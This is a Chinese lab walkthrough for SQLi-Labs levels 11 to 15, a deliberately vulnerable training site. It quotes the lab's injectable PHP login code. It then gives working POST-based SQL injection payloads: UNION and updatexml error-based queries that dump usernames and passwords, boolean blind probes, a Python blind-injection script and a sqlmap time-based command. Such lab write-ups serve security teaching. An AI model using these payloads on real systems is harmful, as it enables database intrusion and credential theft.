SQL-Labs靶场“11-15”关通关教程

news/发布时间2024/5/24 6:01:26

君衍.

  • 一、十一关 基于POST单引号字符型注入
    • 1、源码分析
    • 2、联合查询注入
    • 3、报错注入
  • 二、十二关 基于POST双引号字符型注入
    • 1、源码分析
    • 2、联合查询注入
    • 3、报错注入
  • 三、十三关 基于POST单引号报错注入变形
    • 1、源码分析
    • 2、报错注入
  • 四、十四关 基于POST双引号报错注入
    • 1、源码分析
    • 2、报错注入
  • 五、十五关 基于POST单引号布尔型时间盲注
    • 1、源码分析
    • 2、布尔盲注(手动)
    • 2、布尔盲注(脚本)
    • 3、时间盲注(sqlmap)

点击跳转:
SQL-Labs靶场“1-5”关通关教程
SQL-Labs靶场“6-10”关通关教程

一、十一关 基于POST单引号字符型注入

请求方式注入类型拼接方式
POST联合、报错、布尔盲注、延时盲注username=‘x’

在这里插入图片描述
看见输入框了,说明该注入提交方式为POST,同时我们先寻找注入点:
在输入框中输入单引号:

在这里插入图片描述
我们可以看到产生了报错信息显示,说明这里我们自然可以使用报错注入以及联合查询。

1、源码分析

# 使用POST方式接受变量
if(isset($_POST['uname']) && isset($_POST['passwd']))
{$uname=$_POST['uname'];$passwd=$_POST['passwd'];···# 使用单引号进行拼接SQL@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";$result=mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row){···//echo " You Have successfully logged in\n\n " ;···echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];···echo '<img src="../images/flag.jpg"  />';	}else  {···//echo "Try again looser";# 输出报错信息print_r(mysqli_error($con1));···echo '<img src="../images/slap.jpg" />';	···}
}

我们可以看到只是将提交方式变为了POST,实际上和第一关GET提交方式的实质大差不差,所以这里我们可以使用联合查询,报错,布尔(显示的界面不同),延时注入方式。
在这里插入图片描述
在这里插入图片描述

2、联合查询注入

1、猜字段

首先我们进行测试users表有几列,同样的使用order by排序进行查询,即:

aaaa' order by 3#
aaaa

上面这个是username与password分别填写的,这里我们没有使用–+是由于此处是POST传参,而不是URL里面,所以我直接使用#来进行注释。
在这里插入图片描述
可以看到显示第三列不存在,所以我们接着尝试将3变为2:

aaaa' order by 2#
aaaa

在这里插入图片描述
可以看到这里并没有显示,说明我们猜的字段是正确的,并没有输出错误信息,我们自然会想到是username以及password。

2、直接查数据

下面我们直接构建payload进行查数据:

aaaa' union select group_concat(username,password),2 from users#
aaaa

在这里插入图片描述
我们可以看到直接输出了数据,不难(这里password肯定是随便输入的,毕竟那个SQL语句前面username我们在之后已经进行了注释,所以不影响)。这里我们自然也可以在password中执行,丝毫不影响:

aaaa
aaaa' union select group_concat(username,password),2 from users#

在这里插入图片描述

3、报错注入

上面我们也说了,看见输出报错信息我们自然可以想到报错注入,下面我们构建payload(比如这里我们首先查数据库名):

aaaa' and updatexml(1,concat(0x7e,database(),0x7e),1)#
aaaa

在这里插入图片描述
数据库的表名:

aaaa' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
aaaa

在这里插入图片描述
然后看users可疑查users的列名:

aaaa' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#
aaaa

在这里插入图片描述
接着看见username以及password继续查数据:

aaaa' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)#
aaaa

在这里插入图片描述
我们可以看到又是字符输出限制,所以我们搞个limit即可:

aaaa' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#
aaaa

在这里插入图片描述
接着我们变值就结束了:

aaaa' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e),1)#
aaaa

在这里插入图片描述
剩下的就很简单了,所以使用报错注入就结束了,剩下几种报错注入实质也是一样。

二、十二关 基于POST双引号字符型注入

请求方式注入类型拼接方式
POST联合、报错、布尔盲注、延时盲注username=(“x”)

这里注入点判断的方法和第十一关是一样的。

1、源码分析

···# 与第十一关相同
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
···# 与第十一关相同

这里我们自然可以看到与第十一关最大的不同在于闭合方式,第十一关采用单引号闭合,第十二关采用双引号加括号闭合。所以之后我们进行的注入过程不过是将第十一关的单引号换为双引号加括号就行。
在这里插入图片描述

2、联合查询注入

1、猜字段

首先我们进行测试users表有几列,同样的使用order by排序进行查询,即:

aaaa") order by 3#
aaaa

上面这个是username与password分别填写的,这里我们没有使用–+是由于此处是POST传参,而不是URL里面,所以我直接使用#来进行注释。
在这里插入图片描述

可以看到显示第三列不存在,所以我们接着尝试将3变为2:

aaaa") order by 2#
aaaa

在这里插入图片描述

可以看到这里并没有显示,说明我们猜的字段是正确的,并没有输出错误信息,我们自然会想到是username以及password。

2、直接查数据

下面我们直接构建payload进行查数据(下面只展示username就行,password不填了,懒得填反正都注释掉了):

aaaa") union select group_concat(username,password),2 from users#

在这里插入图片描述

我们可以看到直接输出了数据,不难(这里password肯定是随便输入的,毕竟那个SQL语句前面username我们在之后已经进行了注释,所以不影响)。这里我们自然也可以在password中执行,丝毫不影响:

aaaa
aaaa") union select group_concat(username,password),2 from users#

在这里插入图片描述

3、报错注入

上面我们也说了,看见输出报错信息我们自然可以想到报错注入,下面我们构建payload(比如这里我们首先查数据库名):

aaaa") and updatexml(1,concat(0x7e,database(),0x7e),1)#
aaaa

在这里插入图片描述

数据库的表名:

aaaa") and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
aaaa

在这里插入图片描述

然后看users可疑查users的列名:

aaaa") and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#
aaaa

在这里插入图片描述

接着看见username以及password继续查数据:

aaaa") and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)#
aaaa

在这里插入图片描述

我们可以看到又是字符输出限制,所以我们搞个limit即可:

aaaa") and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#
aaaa

在这里插入图片描述

接着我们变值就结束了:

aaaa") and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e),1)#
aaaa

在这里插入图片描述

剩下的就很简单了,所以使用报错注入就结束了,剩下几种报错注入实质也是一样。

三、十三关 基于POST单引号报错注入变形

请求方式注入类型拼接方式
POST报错、布尔盲注、延时盲注username=(‘x’)

在这里插入图片描述
首先我们判断是否有报错信息回显,可以看到有报错信息回显,下面我们正常进行闭合登录可以发现并没有输出登录信息:
在这里插入图片描述
所以这里联合查询是无法使用。

1、源码分析

···# 与第十一关相同
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if($row)
{···//echo " You Have successfully logged in " ;//echo 'Your Login name:'. $row['username'];//echo 'Your Password:' .$row['password'];//echo "<br>";···echo '<img src="../images/flag.jpg"   />';	}
else  
{···//echo "Try again looser";print_r(mysqli_error($con1));···echo '<img src="../images/slap.jpg"   />';	
}

这里我们自然可以看到与第十一关最大的不同在于闭合方式,第十一关采用单引号闭合,第十三关采用单引号加括号闭合。所以之后我们进行的注入过程不过是将第十一关的单引号换为单引号加括号。
同时我们也可以看到它是将输出的信息代码注释掉了,所以这里并不能使用联合查询注入方式。但是我们也可以看到它登录成功以及失败输出图片依旧是不一样的,所以布尔,延时都是可以使用的。
在这里插入图片描述

2、报错注入

上面我们也说了,看见输出报错信息我们自然可以想到报错注入,下面我们构建payload(比如这里我们首先查数据库名):

aaaa') and updatexml(1,concat(0x7e,database(),0x7e),1)#
aaaa

在这里插入图片描述

数据库的表名:

aaaa') and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
aaaa

在这里插入图片描述

然后看users可疑查users的列名:

aaaa') and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#
aaaa

在这里插入图片描述

接着看见username以及password继续查数据:

aaaa') and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)#
aaaa

在这里插入图片描述

我们可以看到又是字符输出限制,所以我们搞个limit即可:

aaaa') and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#
aaaa

在这里插入图片描述

接着我们变值就结束了:

aaaa') and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e),1)#
aaaa

在这里插入图片描述

剩下的就很简单了,所以使用报错注入就结束了,剩下几种报错注入实质也是一样。

四、十四关 基于POST双引号报错注入

请求方式注入类型拼接方式
POST报错、布尔盲注、延时盲注username=“x”

这里注入点判断和第十三关相同,只是在判断是改为aaaa"罢了。

1、源码分析

···# 与第十三关相同
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
···# 与第十三关相同

这里我们自然可以看到与第十一关最大的不同在于闭合方式,第十一关采用单引号闭合,第十四关采用双引号闭合。所以之后我们进行的注入过程是将第十一关的单引号换为双引号。
同时我们也可以看到它是将输出的信息代码注释掉了,所以这里并不能使用联合查询注入方式。但是我们也可以看到它登录成功以及失败输出图片依旧是不一样的,所以布尔,延时都是可以使用的。
在这里插入图片描述

2、报错注入

上面我们也说了,看见输出报错信息我们自然可以想到报错注入,下面我们构建payload(比如这里我们首先查数据库名):

aaaa" and updatexml(1,concat(0x7e,database(),0x7e),1)#
aaaa

在这里插入图片描述

数据库的表名:

aaaa" and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
aaaa

在这里插入图片描述

然后看users可疑查users的列名:

aaaa" and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#
aaaa

在这里插入图片描述

接着看见username以及password继续查数据:

aaaa" and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)#
aaaa

在这里插入图片描述

我们可以看到又是字符输出限制,所以我们搞个limit即可:

aaaa" and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#
aaaa

在这里插入图片描述

接着我们变值就结束了:

aaaa" and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e),1)#
aaaa

在这里插入图片描述

剩下的就很简单了,所以使用报错注入就结束了,剩下几种报错注入实质也是一样。

五、十五关 基于POST单引号布尔型时间盲注

请求方式注入类型拼接方式
POST布尔盲注、延时盲注username=‘x’

当然,首先我们查找注入点:
设置username=aaaa’:
在这里插入图片描述
我们发现并没有产生报错,接着我们逃逸让其登录成功:
在这里插入图片描述
我们可以看到界面是不一样的,所以这里指定可以进行布尔盲注以及时间盲注。

1、源码分析

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row)
{···//echo " You Have successfully logged in\n\n " ;···//echo 'Your Login name:'. $row['username'];//echo 'Your Password:' .$row['password'];···echo '<img src="../images/flag.jpg"  />';	}
else  
{···//echo "Try again looser";//print_r(mysqli_error($con1));···echo '<img src="../images/slap.jpg"   />';	···
}

这里我们可以看到它是将所有报错信息以及登录成功的信息注释掉了,但是依旧可以看到img标签的图片加载时不同的,如果登录成功,那么图片为flag.jpg如果登录失败那么图片为slap.jpg,所以这个可以作为我们的切入点。
在这里插入图片描述

2、布尔盲注(手动)

下面我们构建payload进行比较数据库名的第一个字符的ascii值:

admin1' and ascii(substr(database(),1,1))>100#

在这里插入图片描述
这里我们可以看到返回的是登录成功,所以说明第一个字符的ascii值是大于100的,接着我们让其大于120:

admin1' and ascii(substr(database(),1,1))>120#

在这里插入图片描述
我们可以看到返回登录失败的图片,所以我们可以以此进行判断数据库名,手动一个一个去尝试。

2、布尔盲注(脚本)

相较于手动,脚本当然是非常有效率,但是对于脚本还得有一定的功底,下面我门来编写Python脚本:

def inject_database(url):name = ''for i in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:data = {"uname" : "admin1' and ascii(substr(database(),%d,1))>%d#" % (i, mid),"passwd" : 'aaaaa'}r = requests.post(url, data=data)if 'flag.jpg' in r.text:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname += chr(mid)print(name)if __name__ == "__main__":url = 'http://127.0.0.1/sqli7/Less-15/index.php'inject_database(url)

也是我们经常强调的,URL必须填写正确,然后执行:
在这里插入图片描述
便可完成注入,接着注入数据时,更换payload即可。

3、时间盲注(sqlmap)

下面我们依然是直接加上参数进行注入:

sqlmap -u "http://192.168.1.11/sqli7/Less-15/index.php" -data "uname=admin&passwd=admin&submit=Submit" --batch --threads 10 --technique T --dbs

可能会用到以下参数:

  • -r 读取抓包文件
  • -p 需要检测的参数
  • –technique 需要检测的注入方式
  • E 基于报错的注入
  • S 通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入
  • –batch 默认选择
  • –threads 线程数
  • -data 传入post参数(免去抓包)

紧接着我们执行之后:
在这里插入图片描述
在这里插入图片描述

它就可以自行完成时间盲注,同时加载出注入的数据,十五关至此通关。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.bcls.cn/llyT/1404.shtml

如若内容造成侵权/违法违规/事实不符,请联系编程老四网进行投诉反馈email:xxxxxxxx@qq.com,一经查实,立即删除!

相关文章

Docker Compose详解

Docker Compose详解 1.概述2.安装3.基本使用4.命令说明5.Compose 模板文件6.使用Docker快速安装wordpress 1.概述 Compose 项目是 Docker 官方的开源项目&#xff0c;负责实现对 Docker 容器集群的快速编排 使用一个 Dockerfile 模板文件&#xff0c;可以让用户很方便的定义一…

MySQL数据库

MySQL数据库 一、MySQL数据库入门 1.初识数据库 ​ 数据库&#xff08;DataBase,DB&#xff09;是一个存在于计算机存储设备上的数据集合&#xff0c;它可以简单地理解为一种存储数据地仓库。数据库能够长期、高效地管理和存储数据&#xff0c;其主要目的是能够存储&#xf…

Web服务器基础

Web服务器基础 【一】前端概述 【1】HTML HTML&#xff08;超文本标记语言&#xff09;是用于创建网页结构的标记语言。它定义了网页的骨架&#xff0c;包括标题、段落、列表、链接等元素&#xff0c;但没有样式。可以将HTML视为网页的结构和内容的描述。 【2】CSS css&…

【Qt学习】QWidget的font属性 与 toolTip属性 的介绍与实例使用

文章目录 1. font属性1.1 介绍1.2 使用实例1.3 代码资源 2. toolTip属性2.1 介绍2.2 使用实例代码资源 1. font属性 1.1 介绍 上面是Qt的官方文档&#xff0c;我们据此进行总结&#xff1a; font&#xff08;字体&#xff09;&#xff1a;表示当前为该控件设置的字体。 我们…

密码学基础

一、密码学的基本概念 1.1 密码学的作用 密码学是为了保障信息安全而发展起来的一门学科。为了解决信息安全所面临的危险&#xff0c;研究出了许多应对这些威胁的密码技术&#xff0c;“密码技术”是保障信息安全的基本技术。 信息安全的基本属性&#xff1a; 机密性&#…

Linux用到的命令

1 压缩文件 tar -czf wonderful.tar.gz pm 这个命令的作用就是创建一个以.tar.gz结尾的包文件&#xff0c;然后调用gzip程序将当前目录下的pm文件夹压缩到这个以.tar.gz结尾的文件里面去

2024-02-20(DataX,Spark)

1.Oracle利用DataX工具导出数据到Mysql。Oracle利用DataX工具导出数据到HDFS。 只是根据导入导出的目的地不同&#xff0c;DataX的Json文件书写内容有所不同。万变不离其宗。 书写的Json格式的导入导出规则文件存放再Job目录下的。 2.Spark概念 Apache Spark是用于大规模数…

江科大STM32 终

目录 SPI协议10.1 SPI简介W25Q64简介10.3 SPI软件读写W25Q6410.4 SPI硬件外设读写W25Q64 BKP备份寄存器、PER电源控制器、RTC实时时钟11.0 Unix时间戳代码示例&#xff1a;读写备份寄存器BKP11.2 RTC实时时钟 十二、PWR电源控制12.1 PWR简介代码示例&#xff1a;修改主频12.3 串…

数据结构第4章 数组和广义表

名人说&#xff1a;莫道桑榆晚&#xff0c;为霞尚满天。——刘禹锡&#xff08;刘梦得&#xff0c;诗豪&#xff09; 本篇笔记整理&#xff1a;Code_流苏(CSDN)&#xff08;一个喜欢古诗词和编程的Coder&#x1f60a;&#xff09; 目录 0、思维导图1、数组与特殊矩阵1&#xf…

LabVIEW智能家居控制系统

LabVIEW智能家居控制系统 介绍了一个基于LabVIEW的智能家居控制系统的开发过程。该系统利用LabVIEW软件与硬件设备相结合&#xff0c;通过无线网络技术实现家居环境的实时监控与控制&#xff0c;提升居住舒适度和能源使用效率。 项目背景&#xff1a;随着科技的发展和生活水平…

java 使用documents4j将XML转为pdf文件的方式

1.背景&#xff1a; 通过spire.doc.free将word转换成PDF时存在缺陷&#xff1a;只能获取前3页。获取全文另外需支付费用。 2.解决办法 使用documents4j&#xff0c;documents4j会保留原word文件中更多的样式&#xff0c;如修订模式下的差异化字体颜色、文档右侧修订记录等。 …

探索设计模式的魅力:创建型设计模式的比较与决策

设计模式专栏&#xff1a;http://t.csdnimg.cn/U54zu 目录 一、设计模式概览 1.1 创建型模式 二、比较创建型设计模式 1.1 适用场景典型用例 1.2 关键要素与差异对比 1.3 结构图 三、模式选择指南 3.1 场景分析 3.2 决策流程图 四、结语 4.1 优势 4.2 考量因素 一、…

linux---内存管理

一 虚拟内存 即使是现代操作系统中&#xff0c;内存依然是计算机中很宝贵的资源&#xff0c;看看你电脑几个T固态硬盘&#xff0c;再看看内存大小就知道了。 为了充分利用和管理系统内存资源&#xff0c;Linux采用虚拟内存管理技术&#xff0c;利用虚拟内存技术让每个进程都有…

机器学习:逻辑回归原理

逻辑回归模型是一种广泛应用于分类问题的统计方法。尽管名为“回归”&#xff0c;但它实际上是一种分类算法&#xff0c;主要用于预测观察对象属于某个类别的概率。逻辑回归模型特别适用于二分类问题&#xff0c;但也可以通过一些策略扩展到多分类问题。 逻辑回归的应用与优化…

面向对象详解,面向对象的三大特征:封装、继承、多态

文章目录 一、面向对象与面向过程1、什么是面向过程&#xff1f;2、什么是面向对象&#xff1f; 二、类与对象1. 初识对象2. 类的成员方法2.1 类的定义和使用2.2 成员方法 3. 类和对象4. 魔法方法1. _ _ inint _ _ 构造方法2. _ _ str _ _ 字符串方法3. _ _ lt _ _ 小于符号比较…

k8s除了可以直接运行docker镜像之外,还可以运行什么? springboot项目打包成的压缩包可以直接运行在docker容器中吗?

Kubernetes&#xff08;k8s&#xff09;主要设计用于自动部署、扩展和管理容器化应用程序。虽然它与Docker容器最为密切相关&#xff0c;Kubernetes实际上是与容器运行时技术无关的&#xff0c;这意味着它不仅仅能够管理Docker容器。Kubernetes支持多种容器运行时&#xff0c;包…

说一下JVM创建对象的流程?

一、类加载检查。 在实例化一个对象的时候&#xff0c;JVM 首先会去检查目标对象是否已经被加载并初始化了。如果没有&#xff0c;JVM 需要立刻去加载目标类&#xff0c;然后调用目标类的构造器完成初始化。然后初始化的过程&#xff0c;主要是对目标类里面的静态变量、成员变…

钉钉小程序 访问ip不在白名单之中

钉钉小程序 访问ip不在白名单之中 problem 钉钉官方自带免登陆小程序 后端接口报错 {"errcode":60020,"errmsg":"访问ip不在白名单之中&#xff0c;请参考FAQ&#xff1a;https://open.dingtalk.com/document/org-faq/app-faq,request ip175.2.2.52…

SpringBoot+vue2联合打包部署,混合打包部署

SpringBootvue2联合部署&#xff0c;混合部署 前端工程和后端工程目前是都是相对独立性的模式进行开发的。 打包机 只拥有maven&#xff0c;没有nodejs 软件工程场景&#xff1a; 前后端工程在同一个父工程下面&#xff0c;作为一个子工程存在&#xff0c;各自独立开发。前…

大数据,对于生活的改变

谷歌通过对于疾病的查询量可以预测一个个h1n1病毒的大爆发&#xff0c; 大数据时代对于人的考验 用户的搜索记录就是一种信息&#xff0c;这种信息会满足其基础相关的词条与其有关的词条&#xff08;最为原始的搜索机制&#xff0c;国内的搜索引擎都是采用这种基础原理。&…
推荐文章